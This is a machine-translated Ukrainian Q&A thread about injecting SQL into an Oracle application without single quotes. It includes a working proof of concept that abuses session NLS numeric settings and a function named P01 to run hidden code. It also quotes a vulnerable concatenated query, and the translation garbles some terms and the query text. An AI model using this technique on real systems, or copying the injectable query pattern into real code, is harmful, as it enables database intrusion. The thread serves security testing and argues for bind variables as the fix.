Чи є спосіб вирватися з рядка та вставити SQL, не використовуючи жодної цитати в Oracle?


12

Я тестую додаток на базі Oracle і знайшов наступний код:

Запит = "ВИБРАТИ ім'я від співробітників, де id = '" + PKID + "';"

тобто рядок запиту містить лапки навколо значення PKID, яке отримується прямо з URL-адреси.

Очевидно, що це класична інжекція SQL, яка чекає того, що відбудеться ... за винятком програми, що стоїть позаду CA SiteMinder, яка блокує передачу будь-якої URL-адреси з єдиною цитатою (у будь-якій формі) до програми.

Чи є спосіб вирватися з рядка та вставити SQL без використання єдиної лапки?

Редагувати: Вибачте, я мав би бути зрозумілішим - я розумію, як це слід писати, але мені потрібно переконати людей, що це корисна проблема. На даний момент, оскільки він стоїть за siteminder, який блокує одинарні лапки, тому це буде виправленням з низьким пріоритетом.


1
ви намагалися використовувати змінну прив'язки?
JHFB

Що сказав @JHFB Зв'язування змінних є стандартною практикою.
Philᵀᴹ

Відповіді:


9

Так, можна здійснити атаку ін'єкцій SQL без подання лапок у параметрі.

Це можна зробити з допомогою подвигу, який стосується того, як обробляються цифри та / або дати. На рівні сеансу можна вказати, який формат дати чи числа. Маніпулюючи цим, ви можете вводити будь-який символ.

За замовчуванням у Великобританії та США використовується кома для позначення роздільника тисяч у цифрах та повна зупинка для десяткової крапки. Ви можете змінити ці параметри за замовчуванням, виконавши:

alter session set nls_numeric_characters = 'PZ';

Це означає, що "P" - це десяткова крапка, а "Z" - роздільник тисяч. Так:

0P01

Чи є число 0,01. Однак якщо ви створили функцію P01, перед перетворенням числа буде вибрано посилання на об'єкт. Це дозволяє виконувати функції в базі даних, що дає вам зростаючі повноваження, як це:

Створіть основну функцію "get by id":

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Також створіть функцію P01, яка робить щось небажане (у цьому випадку просто створюючи таблицю, але ви отримуєте ідею):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

І нам добре їхати:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Ніде ні лапок, але нам все-таки вдалося виконати "приховану" функцію P01 і створити таблицю t!

Хоча це може бути важко зробити на практиці (і може знадобитися певних внутрішніх знань / допомоги), це все ж показує, що ви можете вводити SQL без необхідності. Змінення кані nls_date_formatдозволяє зробити подібні речі.

Оригінальні висновки щодо номерів були Девід Літчфілд, і ви можете прочитати його документ тут . Ви можете знайти дискусію Тома Кейта про те, як можна використовувати дати тут .


4

Можливо, ви могли б перевантажити тип даних, який ви використовуєте, що призведе до відмови цього твердження. Тоді те, що відбувається після, потенційно може бути здійснено

Можливо, відправлення його у вигляді байтового масиву Unicode дозволило б виконати трюк і вивести вас із цього твердження до іншого.

Якщо є отвір, він буде зловживати. І блокування всіх рядків однією цитатою не є хорошою ідеєю, оскільки люди з прізвищем "О'Бріан" не можуть бути вашими клієнтами (серед інших).


Я думаю, ви маєте на увазі «дірку», а не «цілу».
ypercubeᵀᴹ

1

Спробуйте використовувати змінну прив'язки. Ви можете оголосити його як число, що повинно запобігти пошкодженню введення SQL.

ДОПОЛНЕННЯ: прив'язування змінних також збільшує продуктивність та масштабованість, оскільки план запитів складається та зберігається для повторного використання. Просто ще щось додати до вашого аргументу. :)


1
Він не питає про способи запобігання ін'єкції, а про способи зловживання ним.
Джефф

1
@jeff ОП також просить причин не використовувати такий код. Не використання змінних прив'язки знищує продуктивність, тому це хороший привід завжди використовувати їх.
Вінсент Малграт

@Vincent Malgrat: "Не використання змінних прив'язки руйнує продуктивність" неправильно. Правда, що перекомпіляція оператора може бути уникнута за допомогою змінних прив'язки. Крім того, спільний пул буде переповнений великою кількістю подібних висловлювань, якщо ви не використовуєте змінні змінні. Тим не менш, оптимізатор має менше інформації для побудови плану, якщо використовувати прив'язні змінні замість буквальних значень. Бувають ситуації, коли слід вибирати різні плани залежно від значень змінних змінних (або буквальних значень).
чудо173

@ miracle173 Звичайно, будуть винятки, але не для пошуку первинного ключа, як це дає ОП, ніколи =)
Vincent Malgrat
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.